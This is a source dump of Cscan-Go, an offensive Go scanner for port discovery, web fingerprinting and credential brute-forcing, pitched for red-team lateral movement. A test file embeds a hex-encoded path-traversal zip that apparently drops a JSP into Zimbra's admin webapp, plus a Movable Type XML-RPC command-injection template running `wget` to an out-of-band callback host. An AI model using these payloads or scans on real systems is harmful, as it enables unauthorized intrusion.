:::::Y8baaaaaaaaaa88P:T:Y88aaaaaaaaaad8P:::::\n :::::::Y88888888888P::|::Y88888888888P:::::::\n ::::::::::::::::888:::|:::888::::::::::::::::\n `:::::::::::::::8888888888888b::::::::::::::'\n :::::::::::::::88888888888888:::::Cscan::::\n :::::::::::::d88888888888888::::::NB:::::\n ::::::::::::88::88::88:::88::::::::::::\n `::::::::::88::88::88:::88::::::::::'\n `::::::::88::88::P::::88::::::::'\n `::::::88::88:::::::88::::::'\n ``:::::::::::::::::::''\n ``:::::::::''\n") 9 | 10 | var logoDown = color.Green.Sprintf("\n ================= WEB Info Scan ==================\n ================= Code by %s ==================\n ================= %s ==================\n +++++++++++++++++++++++++++++++++++++++++++++++++++++\n", author, version) 11 | 12 | var Logo = fmt.Sprintf("%s%s", logoUp, logoDown) 13 | -------------------------------------------------------------------------------- /flag/flag.go: -------------------------------------------------------------------------------- 1 | package flag 2 | 3 | import ( 4 | "cscan/config" 5 | 6 | "github.com/projectdiscovery/goflags" 7 | ) 8 | 9 | func Init() { 10 | 11 | flagSet := goflags.NewFlagSet() 12 | 13 | // 对大小写敏感 14 | flagSet.CaseSensitive = true 15 | 16 | // 打印logo 17 | flagSet.SetDescription(config.Logo) 18 | 19 | // 创建组 20 | 21 | flagSet.CreateGroup("config", "常用参数", 22 | flagSet.StringVarP(&config.IpInfo, "ips", "i", "", "需要扫描的 IP、IP段 或 IP范围,如:192.168.1.1, 192.168.1.1/24, 192.168.1.1-20(仅支持 \",\" 逗号分隔)"), 23 | flagSet.StringVarP(&config.IpFilePath, "localFile", "l", "", "需要导入的 IP 文件"), 24 | flagSet.StringVarP(&config.DefaultPorts, "dPort", "dp", "", "default ports 指定端口,然后加上默认端口一块扫描(支持 \",\" 逗号 \" \" 空格 \";\" 分号分隔)"), 25 | flagSet.StringVarP(&config.ForbidPorts, "fPorts", "fp", "", "forbid ports 指定端口扫描,禁用默认端口(支持 \",\" 逗号 \" \" 空格 \";\" 分号分隔)"), 26 | flagSet.StringVarP(&config.Filter, "filter", "f", "", "filter 过滤保留需要的状态码,并打印输出(支持 \",\" 逗号 \" \" 空格 \";\" 分号分隔)"), 27 | flagSet.IntVarP(&config.ThreadMax, "thread", "t", config.ThreadMax, "设置最大线程数"), 28 | flagSet.IntVarP(&config.TimeOutSet, "timeout", "", config.TimeOutSet, "设置超时时长,单位:秒"), 29 | flagSet.StringVarP(&config.OutPutType, "output", "o", "", "导出检测的结果,目前支持的格式:txt、csv。如:-o outfile.txt、-o outfile.csv"), 30 | flagSet.BoolVarP(&config.NotCrack, "notCrack", "nc", config.NotCrack, "not crack 禁用暴力破解功能"), 31 | ) 32 | 33 | flagSet.CreateGroup("debug", "调试参数", 34 | flagSet.BoolVarP(&config.Debug, "debug", "", config.Debug, "Debug 模式,开启后显示所有的日志信息"), 35 | flagSet.BoolVarP(&config.ViewAll, "view", "", config.ViewAll, "显示并打印所有细节"), 36 | ) 37 | 38 | flagSet.CreateGroup("proxy", "代理设置", 39 | flagSet.StringVarP(&config.Proxy, "proxy", "", "", "设置代理,如:socks5://localhost:1080 或 http://localhost:8080"), 40 | ) 41 | 42 | flagSet.Parse() 43 | } 44 | -------------------------------------------------------------------------------- /control/newScan/scan.go: -------------------------------------------------------------------------------- 1 | package newScan 2 | 3 | import ( 4 | "cscan/config" 5 | "cscan/control/output" 6 | "cscan/util/view" 7 | "fmt" 8 | "github.com/gookit/color" 9 | "strings" 10 | "sync" 11 | ) 12 | 13 | // 批量扫描端口 14 | func scan(ipOptions *config.IpOptions) { 15 | var ThreadMaxChan = make(chan int, config.ThreadMax) 16 | wg := &sync.WaitGroup{} 17 | for _, port := range ipOptions.Ports { 18 | for _, ip := range ipOptions.Ips { 19 | wg.Add(1) 20 | ThreadMaxChan <- 1 21 | go func(ip string, port int) { 22 | ipOption := config.IpOption{Ip: ip, Port: port} 23 | PortScan(&ipOption) 24 | if ipOption.PortOpenStatus { 25 | ipOptions.IpOption = append(ipOptions.IpOption, &ipOption) 26 | // 对 web 进行扫描 27 | WebScan(&ipOption) 28 | } 29 | 30 | // 打印输出 31 | if ipOption.PortOpenStatus { 32 | view.PrintlnSuccess(fmt.Sprintf("%s:%d --> open", ipOption.Ip, ipOption.Port)) 33 | } else if config.ViewAll { 34 | view.PrintlnFailed(fmt.Sprintf("%s:%d --> close", ipOption.Ip, ipOption.Port)) 35 | } 36 | 37 | // 导出 38 | if config.OutPutType != "" { 39 | if strings.Contains(config.OutPutType, ".csv") { 40 | path := config.OutPutType[:strings.Index(config.OutPutType, ".")] + "_portScan.csv" 41 | output.OutputFile(path, &ipOption, config.MODE_PORT) 42 | } else { 43 | output.OutputFile(config.OutPutType, &ipOption, config.MODE_PORT) 44 | } 45 | } 46 | 47 | // 测试代码 48 | //time.Sleep(1 * time.Second) 49 | //fmt.Printf("%s:%d --> %v\n", ipOption.Ip, ipOption.Port, ipOption.PortOpenStatus) 50 | 51 | wg.Done() 52 | <-ThreadMaxChan 53 | }(ip, port) 54 | } 55 | } 56 | close(ThreadMaxChan) 57 | wg.Wait() 58 | } 59 | 60 | // 对 IP 进行端口扫描,http检测,以及暴力破解 61 | func Scans(ipOptions *config.IpOptions) { 62 | scan(ipOptions) 63 | 64 | // 扫描好后的资产进行打印 65 | color.C256(226).Printf("\n\n------ web 页面识别结果:------\n\n") 66 | for _, ipOption := range ipOptions.IpOption { 67 | webScanPrint(ipOption) 68 | } 69 | 70 | crackStart(ipOptions) 71 | 72 | } 73 | -------------------------------------------------------------------------------- /control/scan/portScan.go: -------------------------------------------------------------------------------- 1 | package scan 2 | 3 | import ( 4 | "cscan/config" 5 | "cscan/control/output" 6 | "cscan/util/view" 7 | "fmt" 8 | "log" 9 | "net" 10 | "strings" 11 | "sync" 12 | ) 13 | 14 | // 传入 ipOption,检查端口有没有开放 15 | func PortScan(ipOption *config.IpOption) { 16 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", ipOption.Ip, ipOption.Port), config.TimeOut) 17 | if err != nil && config.Debug { 18 | log.Println(err) 19 | ipOption.PortOpenStatus = false 20 | } else { 21 | if conn != nil { 22 | ipOption.PortOpenStatus = true 23 | } else { 24 | ipOption.PortOpenStatus = false 25 | } 26 | } 27 | } 28 | 29 | // 批量扫描端口 30 | func PortScans(ipOptions *config.IpOptions) { 31 | var ThreadMaxChan = make(chan int, config.ThreadMax) 32 | wg := &sync.WaitGroup{} 33 | for _, port := range ipOptions.Ports { 34 | for _, ip := range ipOptions.Ips { 35 | wg.Add(1) 36 | ThreadMaxChan <- 1 37 | go func(ip string, port int) { 38 | ipOption := config.IpOption{Ip: ip, Port: port} 39 | PortScan(&ipOption) 40 | if ipOption.PortOpenStatus { 41 | ipOptions.IpOption = append(ipOptions.IpOption, &ipOption) 42 | } 43 | 44 | // 打印输出 45 | if ipOption.PortOpenStatus { 46 | view.PrintlnSuccess(fmt.Sprintf("%s:%d --> open", ipOption.Ip, ipOption.Port)) 47 | } else if config.ViewAll { 48 | view.PrintlnFailed(fmt.Sprintf("%s:%d --> close", ipOption.Ip, ipOption.Port)) 49 | } 50 | 51 | // 导出 52 | if config.OutPutType != "" { 53 | if strings.Contains(config.OutPutType, ".csv") { 54 | path := config.OutPutType[:strings.Index(config.OutPutType, ".")] + "_portScan.csv" 55 | output.OutputFile(path, &ipOption, config.MODE_PORT) 56 | } else { 57 | output.OutputFile(config.OutPutType, &ipOption, config.MODE_PORT) 58 | } 59 | } 60 | 61 | // 测试代码 62 | //time.Sleep(1 * time.Second) 63 | //fmt.Printf("%s:%d --> %v\n", ipOption.Ip, ipOption.Port, ipOption.PortOpenStatus) 64 | 65 | wg.Done() 66 | <-ThreadMaxChan 67 | }(ip, port) 68 | } 69 | } 70 | close(ThreadMaxChan) 71 | wg.Wait() 72 | } 73 | -------------------------------------------------------------------------------- /control/output/output.go: -------------------------------------------------------------------------------- 1 | package output 2 | 3 | import ( 4 | "cscan/config" 5 | "cscan/util/file" 6 | "fmt" 7 | "strings" 8 | ) 9 | 10 | // OutputFile 判断对应的格式文件,并按照对应的格式进行输出 11 | func OutputFile(filepath string, ipOption *config.IpOption, mode int) { 12 | // 如果没有后缀,自动添加后缀 13 | if len(filepath) >= 1 && len(filepath) < 5 { 14 | filepath += ".txt" 15 | } else if len(filepath) < 1 { 16 | return 17 | } 18 | // 获取后缀 19 | suffix := filepath[len(filepath)-3:] 20 | if strings.ToLower(suffix) == "csv" { 21 | printTmp := "" 22 | switch mode { 23 | case config.MODE_PORT: 24 | if ipOption.PortOpenStatus { 25 | printTmp += fmt.Sprintf("%s,%d,open\n", ipOption.Ip, ipOption.Port) 26 | } else { 27 | //printTmp += fmt.Sprintf("%s,%d,close\n", ipOption.Ip, ipOption.Port) 28 | } 29 | file.WriteFile(filepath, []byte(printTmp)) 30 | case config.MODE_WEB: 31 | printTmp += fmt.Sprintf("%s,%d,%s,%s,%s,%d,%s\n", ipOption.WebInfo.Url, ipOption.WebInfo.Code, ipOption.WebInfo.Title, ipOption.WebInfo.Server, ipOption.WebInfo.XPoweredBy, ipOption.WebInfo.Len, ipOption.WebInfo.Url302Jump) 32 | file.WriteFile(filepath, []byte(printTmp)) 33 | case config.MODE_CRACK: 34 | printTmp += fmt.Sprintf("%s,%d,%s,%s,%s\n", ipOption.Ip, ipOption.Port, ipOption.CrackInfo.UserName, ipOption.CrackInfo.Password, ipOption.CrackInfo.Deal) 35 | file.WriteFile(filepath, []byte(printTmp)) 36 | } 37 | } else { 38 | printTmp := "" 39 | switch mode { 40 | case config.MODE_PORT: 41 | if ipOption.PortOpenStatus { 42 | printTmp += fmt.Sprintf("%s:%d --> open\n", ipOption.Ip, ipOption.Port) 43 | } else { 44 | //printTmp += fmt.Sprintf("%s:%d --> close\n", ipOption.Ip, ipOption.Port) 45 | } 46 | file.WriteFile(filepath, []byte(printTmp)) 47 | case config.MODE_WEB: 48 | printTmp += fmt.Sprintf("%s\t%d\t%s\t%s\t%s\t%d\t%s\n", ipOption.WebInfo.Url, ipOption.WebInfo.Code, ipOption.WebInfo.Title, ipOption.WebInfo.Server, ipOption.WebInfo.XPoweredBy, ipOption.WebInfo.Len, ipOption.WebInfo.Url302Jump) 49 | file.WriteFile(filepath, []byte(printTmp)) 50 | case config.MODE_CRACK: 51 | printTmp += fmt.Sprintf("%s\t%d\t%s\t%s\t%s\n", ipOption.Ip, ipOption.Port, ipOption.CrackInfo.UserName, ipOption.CrackInfo.Password, ipOption.CrackInfo.Deal) 52 | file.WriteFile(filepath, []byte(printTmp)) 53 | } 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module cscan 2 | 3 | go 1.21 4 | 5 | require ( 6 | github.com/antchfx/htmlquery v1.3.1 7 | github.com/bradfitz/gomemcache v0.0.0-20230905024940-24af94b03874 8 | github.com/dlclark/regexp2 v1.11.0 9 | github.com/go-redis/redis v6.15.9+incompatible 10 | github.com/gookit/color v1.5.4 11 | github.com/ifacker/myutil v1.1.7 12 | github.com/jlaffaye/ftp v0.2.0 13 | github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 14 | golang.org/x/crypto v0.22.0 15 | golang.org/x/net v0.24.0 16 | gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22 17 | 18 | ) 19 | 20 | require ( 21 | github.com/PuerkitoBio/goquery v1.9.1 // indirect 22 | github.com/andybalholm/cascadia v1.3.2 // indirect 23 | github.com/antchfx/xpath v1.3.0 // indirect 24 | github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect 25 | github.com/aymerick/douceur v0.2.0 // indirect 26 | github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 // indirect 27 | github.com/fsnotify/fsnotify v1.6.0 // indirect 28 | github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect 29 | github.com/golang/protobuf v1.5.3 // indirect 30 | github.com/google/go-cmp v0.6.0 // indirect 31 | github.com/gorilla/css v1.0.0 // indirect 32 | github.com/hashicorp/errwrap v1.1.0 // indirect 33 | github.com/hashicorp/go-multierror v1.1.1 // indirect 34 | github.com/microcosm-cc/bluemonday v1.0.25 // indirect 35 | github.com/miekg/dns v1.1.56 // indirect 36 | github.com/nxadm/tail v1.4.11 // indirect 37 | github.com/onsi/ginkgo v1.16.5 // indirect 38 | github.com/onsi/gomega v1.33.0 // indirect 39 | github.com/pkg/errors v0.9.1 // indirect 40 | github.com/projectdiscovery/blackrock v0.0.1 // indirect 41 | github.com/projectdiscovery/goflags v0.1.49 // indirect 42 | github.com/projectdiscovery/utils v0.0.89 // indirect 43 | github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d // indirect 44 | github.com/tidwall/gjson v1.14.3 // indirect 45 | github.com/tidwall/match v1.1.1 // indirect 46 | github.com/tidwall/pretty v1.2.0 // indirect 47 | github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect 48 | golang.org/x/exp v0.0.0-20221205204356-47842c84f3db // indirect 49 | golang.org/x/mod v0.14.0 // indirect 50 | golang.org/x/sys v0.19.0 // indirect 51 | golang.org/x/text v0.14.0 // indirect 52 | golang.org/x/tools v0.17.0 // indirect 53 | google.golang.org/protobuf v1.33.0 // indirect 54 | gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect 55 | gopkg.in/yaml.v2 v2.4.0 // indirect 56 | gopkg.in/yaml.v3 v3.0.1 // indirect 57 | ) 58 | -------------------------------------------------------------------------------- /util/identify/ip.go: -------------------------------------------------------------------------------- 1 | package identify 2 | 3 | import ( 4 | "cscan/util/regex2" 5 | "errors" 6 | "fmt" 7 | "github.com/gookit/color" 8 | "net" 9 | "strconv" 10 | "strings" 11 | "time" 12 | ) 13 | 14 | // IpRange 识别 IP 范围,如:192.168.1.1-20、192.168.1.1/24、192.168.1.1 15 | func IpRange(srcIp string) ([]string, error) { 16 | 17 | // 确认 IP 格式 18 | results, err := regex2.Regexp2SimpleUse(srcIp, "(\\d{1,3}.\\d{1,3}.\\d{1,3}.\\d{1,3}-\\d{1,3})|(\\d{1,3}.\\d{1,3}.\\d{1,3}.\\d{1,3}/\\d{1,3})|((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)(\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3})") 19 | if err != nil || len(results) <= 0 { 20 | return nil, err 21 | } 22 | if len(results) <= 0 { 23 | return nil, errors.New("输入的 IP 异常 或 未识别到 IP !") 24 | } 25 | 26 | var destIps []string 27 | 28 | ips := strings.Split(srcIp, ",") 29 | for _, ip := range ips { 30 | 31 | ip = strings.TrimSpace(ip) 32 | 33 | if strings.Contains(ip, "-") { 34 | // 192.168.1.1-20 35 | 36 | pointIndex := strings.LastIndex(ip, ".") 37 | prefix := ip[:pointIndex+1] 38 | suffix := ip[pointIndex+1:] 39 | //fmt.Println(prefix, suffix) 40 | 41 | ns := strings.Split(suffix, "-") 42 | if len(ns) != 2 { 43 | return nil, errors.New("输入的 IP 范围格式错误!应该是:192.168.1.1-20") 44 | } 45 | min, err := strconv.Atoi(ns[0]) 46 | if err != nil { 47 | return nil, err 48 | } 49 | max, err := strconv.Atoi(ns[1]) 50 | if err != nil { 51 | return nil, err 52 | } 53 | for i := min; i <= max; i++ { 54 | destIps = append(destIps, fmt.Sprintf("%s%d", prefix, i)) 55 | } 56 | } else if strings.Contains(ip, "/") { 57 | // 192.168.1.1/24 58 | 59 | inc := func(ip net.IP) { 60 | for j := len(ip) - 1; j >= 0; j-- { 61 | ip[j]++ 62 | if ip[j] > 0 { 63 | break 64 | } 65 | } 66 | } 67 | 68 | iptmp, ipnet, err := net.ParseCIDR(ip) // 解析IP段 69 | if err != nil { 70 | color.C256(196).Printf("[!] IP: %s 存在异常,请及时处理!\n\n", ip) 71 | time.Sleep(1500 * time.Millisecond) 72 | return nil, errors.New(fmt.Sprintf("IP: %s 存在异常,请及时处理!", ip)) 73 | } 74 | for iptmp := iptmp.Mask(ipnet.Mask); ipnet.Contains(iptmp); inc(iptmp) { // 通过掩码来遍历这个IP段 75 | destIps = append(destIps, fmt.Sprintf("%s", iptmp)) 76 | //fmt.Println(ip) 77 | } 78 | 79 | } else { 80 | // 192.168.1.1 81 | if strings.Count(ip, ".") == 3 { 82 | destIps = append(destIps, ip) 83 | } 84 | } 85 | } 86 | return destIps, nil 87 | } 88 | 89 | func DomainRegex(srcDomain string) ([]string, error) { 90 | // 确认域名的格式 91 | results, err := regex2.Regexp2SimpleUse(srcDomain, "[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+\\.?") 92 | if err != nil || len(results) <= 0 { 93 | return nil, err 94 | } 95 | if len(results) <= 0 { 96 | return nil, errors.New("输入的域名异常 或 未识别到域名 !") 97 | } 98 | return results, nil 99 | } 100 | -------------------------------------------------------------------------------- /util/regex2/regexp2_test.go: -------------------------------------------------------------------------------- 1 | package regex2 2 | 3 | import ( 4 | "encoding/hex" 5 | "fmt" 6 | "testing" 7 | ) 8 | 9 | func TestRegexp2SimpleUse(t *testing.T) { 10 | body := "PHPSESSID=e5tmcecfhcru27rt28ih32tch5; path=/" 11 | regex := "PHPSESSID=.*?(?=;)" 12 | result, err := Regexp2SimpleUse(body, regex) 13 | if err != nil { 14 | fmt.Println(err) 15 | } 16 | fmt.Println(result) 17 | } 18 | 19 | // 测试代码,临时使用 20 | func otherTest() { 21 | b := func(args any) { 22 | switch a := args.(type) { 23 | case nil: 24 | fmt.Println("nil") 25 | case string: 26 | fmt.Println("string", a) 27 | case int: 28 | fmt.Println("int", a) 29 | } 30 | } 31 | b("fuck") 32 | 33 | src1 := []byte("504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000000000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000f00000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b05060000000002000200d6000000e00100000000") 34 | dest1 := make([]byte, hex.DecodedLen(len(src1))) 35 | hex.Decode(dest1, src1) 36 | fmt.Println(dest1) 37 | } 38 | 39 | func TestRegexp2SimpleReplace(t *testing.T) { 40 | otherTest() 41 | 42 | src := " POST /cgi-bin/mt/mt-xmlrpc.cgi HTTP/1.1\n Host: {{Hostname}}\n Content-Type: text/xml\n\n \n \n mt.handler_to_coderef\n \n \n \n{{base64(\"`wget http://{{interactsh-url}}`\")}}\n \n {{base64(\"`wget http://{{interactsh-url}}`\")}}\n \n \n \n \n " 43 | dest := "fuck" 44 | regex := "({{base64\\()([\\w\\W]+?)(\\)}})" 45 | result, err := Regexp2SimpleReplace(src, dest, regex) 46 | fmt.Println(result, err) 47 | 48 | } 49 | -------------------------------------------------------------------------------- /control/newScan/webScan.go: -------------------------------------------------------------------------------- 1 | package newScan 2 | 3 | import ( 4 | "cscan/config" 5 | "cscan/control/http" 6 | "cscan/control/output" 7 | "cscan/util/view" 8 | "fmt" 9 | "log" 10 | http2 "net/http" 11 | "strings" 12 | 13 | "github.com/antchfx/htmlquery" 14 | "github.com/gookit/color" 15 | "golang.org/x/net/html" 16 | ) 17 | 18 | // 获取关键信息 title 19 | func getMeta(n *html.Node) (title string) { 20 | if n == nil { 21 | return "" 22 | } 23 | // 获取title 24 | titletmp := htmlquery.FindOne(n, "/html/head/title/text()") 25 | if titletmp == nil { 26 | return "" 27 | } 28 | title = htmlquery.InnerText(titletmp) 29 | return 30 | } 31 | 32 | func reqfunc(url string) *config.WebInfo { 33 | webinfo := &config.WebInfo{} 34 | client := http.NewClient() 35 | // 禁止 302 跳转 36 | client.CheckRedirect = func(req *http2.Request, via []*http2.Request) error { 37 | return http2.ErrUseLastResponse 38 | } 39 | req, err := http2.NewRequest("GET", url, nil) 40 | if err != nil && config.Debug { 41 | log.Println(err) 42 | } 43 | req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36") 44 | resp, err := client.Do(req) 45 | if err != nil { 46 | if config.Debug { 47 | log.Println(err) 48 | } 49 | return nil 50 | } 51 | //defer resp.Body.Close() 52 | defer func() { 53 | if err = resp.Body.Close(); err != nil && config.Debug { 54 | log.Println(err) 55 | } 56 | }() 57 | 58 | webinfo.Code = resp.StatusCode 59 | webinfo.Len = resp.ContentLength 60 | webinfo.Url = url 61 | var doc *html.Node 62 | webinfo.Title = getMeta(doc) 63 | url302Jump := resp.Header.Get("Location") 64 | if url302Jump != "" { 65 | webinfo.Url302Jump = url + url302Jump 66 | } 67 | webinfo.Server = resp.Header.Get("Server") 68 | webinfo.XPoweredBy = resp.Header.Get("X-Powered-By") 69 | 70 | return webinfo 71 | } 72 | 73 | func webScanPrint(ipOption *config.IpOption) { 74 | 75 | contains := func(s []int, e int) bool { 76 | for _, a := range s { 77 | if a == e { 78 | return true 79 | } 80 | } 81 | return false 82 | } 83 | 84 | if ipOption.WebInfo.Code != 0 { 85 | 86 | // 打印输出 87 | // filters 为空代表没有使用 -filter 参数 88 | if contains(config.Filters, ipOption.WebInfo.Code) || config.Filters == nil { 89 | codeTmp := "" 90 | if 200 <= ipOption.WebInfo.Code && ipOption.WebInfo.Code < 300 { 91 | codeTmp += color.C256(46).Sprintf("[") + color.C256(196).Sprintf("%d", ipOption.WebInfo.Code) + color.C256(46).Sprintf("]") 92 | } else if 300 <= ipOption.WebInfo.Code && ipOption.WebInfo.Code < 400 { 93 | codeTmp += color.C256(46).Sprintf("[") + color.C256(154).Sprintf("%d", ipOption.WebInfo.Code) + color.C256(46).Sprintf("]") 94 | } else { 95 | codeTmp += color.C256(46).Sprintf("[") + color.C256(249).Sprintf("%d", ipOption.WebInfo.Code) + color.C256(46).Sprintf("]") 96 | } 97 | 98 | titleTmp := color.C256(46).Sprintf("[") + color.C256(165).Sprintf("%s", ipOption.WebInfo.Title) + color.C256(46).Sprintf("]") 99 | lenTmp := color.C256(46).Sprintf("[") + color.C256(200).Sprintf("%d", ipOption.WebInfo.Len) + color.C256(46).Sprintf("]") 100 | serverTmp := color.C256(46).Sprintf("[") + color.C256(226).Sprintf("%s", ipOption.WebInfo.Server) + color.C256(46).Sprintf("]") 101 | xPoweredByTmp := color.C256(46).Sprintf("[") + color.C256(51).Sprintf("%s", ipOption.WebInfo.XPoweredBy) + color.C256(46).Sprintf("]") 102 | url302JumpTmp := color.C256(46).Sprintf(" --> ") + color.C256(46).Sprintf("%s", ipOption.WebInfo.Url302Jump) 103 | tmpprint := ipOption.WebInfo.Url + "\t" + codeTmp 104 | 105 | if ipOption.WebInfo.Title != "" { 106 | tmpprint += titleTmp 107 | } 108 | tmpprint += " " 109 | if ipOption.WebInfo.Server != "" { 110 | tmpprint += serverTmp 111 | } 112 | if ipOption.WebInfo.XPoweredBy != "" { 113 | tmpprint += xPoweredByTmp 114 | } 115 | tmpprint += lenTmp 116 | if ipOption.WebInfo.Url302Jump != "" { 117 | tmpprint += url302JumpTmp 118 | } 119 | view.PrintlnSuccess(tmpprint) 120 | } 121 | } 122 | } 123 | 124 | // 导出结果 125 | func webScanOutput(ipOption *config.IpOption) { 126 | // 导出 127 | if ipOption.WebInfo.Code != 0 { 128 | if config.OutPutType != "" { 129 | if strings.Contains(config.OutPutType, ".csv") { 130 | path := config.OutPutType[:strings.Index(config.OutPutType, ".")] + "_webScan.csv" 131 | output.OutputFile(path, ipOption, config.MODE_WEB) 132 | } else { 133 | output.OutputFile(config.OutPutType, ipOption, config.MODE_WEB) 134 | } 135 | } 136 | } 137 | } 138 | 139 | // 检测 web 服务 140 | func WebScan(ipOption *config.IpOption) { 141 | urls := []string{ 142 | fmt.Sprintf("https://%s:%d", ipOption.Ip, ipOption.Port), 143 | fmt.Sprintf("http://%s:%d", ipOption.Ip, ipOption.Port), 144 | } 145 | 146 | // 我这边 http 和 https 协议全部都做检测 147 | for _, url := range urls { 148 | webInfo := reqfunc(url) 149 | if webInfo != nil { 150 | ipOption.WebInfo = *webInfo 151 | } 152 | } 153 | 154 | // 备注:这里记得处理一下 http 和 https 两个协议,原版 cscan 中使用的方法是,如果端口不是 443,8443,就走http,否则就走 https 155 | 156 | webScanPrint(ipOption) 157 | webScanOutput(ipOption) 158 | } 159 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Cscan-Go 介绍 2 | 3 | 4 | 5 | 6 | 7 | ## 免责声明: 8 | 本网络安全工具仅用于提供技术支持,不涉及任何应用或商业行为。用户在使用本网络安全工具的过程中,不得以任何方式损害他人的合法权益。 9 | 10 | 该工具的运行仅依赖用户提供的信息,并不包括任何违反相关法律法规的内容。用户在使用本网络安全工具时,必须确保其提供的信息合法、有效、真实可靠,否则可能会产生不利后果。 11 | 12 | 本软件提供的服务仅供参考,不构成任何责任。用户在使用本网络安全工具时,应自行承担有关安全风险。我们并不对使用者使用本工具所涉及的任何技术服务承担任何义务或责任,无论此类技术服务是否有任何损失和/或损害。 13 | 14 | ## 简介: 15 | Cscan-Go 一款主要用来平替 cscan(python版) 的,本人也很喜欢使用 cscan,但是无奈 python 版有一些局限性,在内网横向的时候,如果想要把 cscan 传到内网,就要考虑环境的问题了,所以有了 cscan 的 go 版本! 16 | 17 | 本程序目前刚开始开发,所以有些 cscan 原版的功能不是很全,但是我会把 cscan 原版的全部功能都加进去的,然后再加一些自己觉得好用的小细节和功能点,在今后的hw中,方便红队队员们使用。 18 | 19 | 最后,感谢 cscan 作者带给我的灵感! 20 | 21 | 🎉🎉🎉! 22 | ## 使用方法: 23 | ```shell 24 | # 对 IP 或 IP 段 进行扫描(可以同时对多个段进行扫描) 25 | ./cscan -i "192.168.1.1, 192.168.2.1-50, 10.0.0.1/16" 26 | 27 | # 对 IP 文件内的 IP 或 IP 段 进行扫描(ipfile.txt 文件中的格式可以看下面的示例!) 28 | ./cscan -l "ipfile.txt" 29 | 30 | # 指定端口,并加上默认端口,对 IP 段进行扫描(支持端口范围添加, 31 | # 而且不用担心指定的端口与默认端口重复,因为本工具会自动去重!) 32 | ./cscan -i "192.168.1.1/24" -dp "1-1000, 8000-10000, 23333" 33 | 34 | # 指定端口,禁用默认端口,对 IP 段进行扫描(同上,就参数不一样,使用方法都一样) 35 | ./cscan -i "192.168.1.1/24" -fp "1-1000, 8000-10000, 23333" 36 | 37 | # 禁用爆破功能 38 | ./cscan -i "192.168.1.1/24" -nc 39 | ``` 40 | 41 | ### ipfile.txt 格式示例: 42 | ```text 43 | 192.168.1.1 44 | 192.168.1.2 45 | 192.168.3.1-50 46 | 10.2.1.1/16 47 | 172.18.1.1/24 48 | ``` 49 | 50 | ### 参数介绍: 51 | ```text 52 | -i ==> 需要扫描的 IP、IP段 或 IP范围,如:192.168.1.1, 192.168.1.1/24, 192.168.1.1-20(仅支持 "," 逗号分隔) 53 | 54 | -l ==> 需要导入的 IP 文件 55 | 56 | -t ==> 设置最大线程数(默认:100) 57 | 58 | -v ==> 显示并打印所有细节 59 | 60 | -f ==> filter 过滤保留需要的状态码,并打印输出(支持 "," 逗号 " " 空格 ";" 分号分隔) 61 | 62 | -o ==> 导出检测的结果,目前支持的格式:txt、csv。如:-o outfile.txt、-o outfile.csv 63 | 64 | -dp ==> default ports 指定端口,然后加上默认端口一块扫描(支持 "," 逗号 " " 空格 ";" 分号分隔) 65 | 66 | -fp ==> forbid ports 指定端口扫描,禁用默认端口(支持 "," 逗号 " " 空格 ";" 分号分隔) 67 | 68 | -nc ==> not crack 禁用暴力破解功能 69 | 70 | -timeout ==> 设置超时时长,单位:秒(默认:7s) 71 | 72 | -proxy ==> 设置代理,如:socks5://localhost:1080 或 http://localhost:8080 73 | 74 | -debug ==> Debug 模式,开启后显示所有的日志信息 75 | ``` 76 | #### 默认端口: 77 | ```text 78 | 80 81 82 83 84 85 86 87 89 88 443 8443 7001 7080 7090 8000 8008 79 | 8888 8070 8080 8081 8082 8083 8084 8085 8086 8087 8088 8089 8090 80 | 8161 9001 9090 9443 21 22 445 1100 1433 1434 1521 3306 3389 3399 81 | 6379 8009 9200 11211 27017 15672 27017 25672 50070 61613 61614 82 | ``` 83 | 84 | ## 版本信息: 85 | ### v1.4 🐨 86 | 1. 解决了部分系统出现的第一次启动卡顿问题,再也不会第一次启动卡住了!!!! 87 | 2. 优化了 flag 分类,看上去更加的明晰。 88 | 89 